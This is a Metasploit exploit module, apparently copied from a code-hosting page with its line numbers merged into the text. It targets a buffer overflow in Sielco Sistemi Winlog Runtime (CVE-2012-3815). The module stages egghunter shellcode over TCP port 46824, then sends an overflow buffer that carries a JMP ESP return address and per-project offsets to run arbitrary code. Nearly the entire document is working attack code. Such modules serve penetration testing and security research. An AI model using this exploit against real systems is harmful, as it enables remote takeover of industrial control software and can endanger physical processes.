Path: blob/master/modules/exploits/windows/scada/winlog_runtime_2.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',16'Description' => %q{17This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.18When sending a specially formatted packet to the Runtime.exe service on port 46824,19an attacker may be able to execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' => [23'Michael Messner <devnull[at]s3cur1ty.de>'24],25'References' => [26[ 'BID', '53811'],27[ 'CVE', '2012-3815'],28[ 'OSVDB', '82654'],29[ 'EDB', '18986'],30[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],31[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]32],33'DefaultOptions' => {34'EXITFUNC' => 'thread',35},36'Platform' => 'win',37'Payload' => {38'Space' => 2000,39'BadChars' => "\x00",40'DisableNops' => true,41},42'Targets' => [43[44'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',45{46'Ret' => 0x405153df,47'Offset' => 167,48}49], # Jmp ESP - Vclx40.bpl - 0x405153df50[51'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',52{53'Ret' => 0x405153df,54'Offset' => 151,55}56], # Jmp ESP - Vclx40.bpl - 0x405153df57# The reliability depends on the actual project. We need to generate some more58# targets. Two of them for the default project and one other project is now available.59],60'Privileged' => false,61'DisclosureDate' => '2012-06-04',62'DefaultTarget' => 0,63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)7071register_options([Opt::RPORT(46824)])72end7374def exploit75connect7677egghunter, egg = generate_egghunter(payload.encoded, payload_badchars)7879print_status("Placing the shellcode")80shellcode = rand_text_alpha(2000)81shellcode << egg82sock.put(shellcode)8384select(nil, nil, nil, 1)8586buffer = rand_text_alpha(20)87buffer << "\x14" * 10 # trigger the crash88buffer << rand_text_alpha(target['Offset'])89buffer << [target.ret].pack('V')90buffer << egghunter91buffer << rand_text_alpha(69 - egghunter.length)9293print_status("Trying target #{target.name}...")94sock.put(buffer)9596handler97disconnect98end99end100101102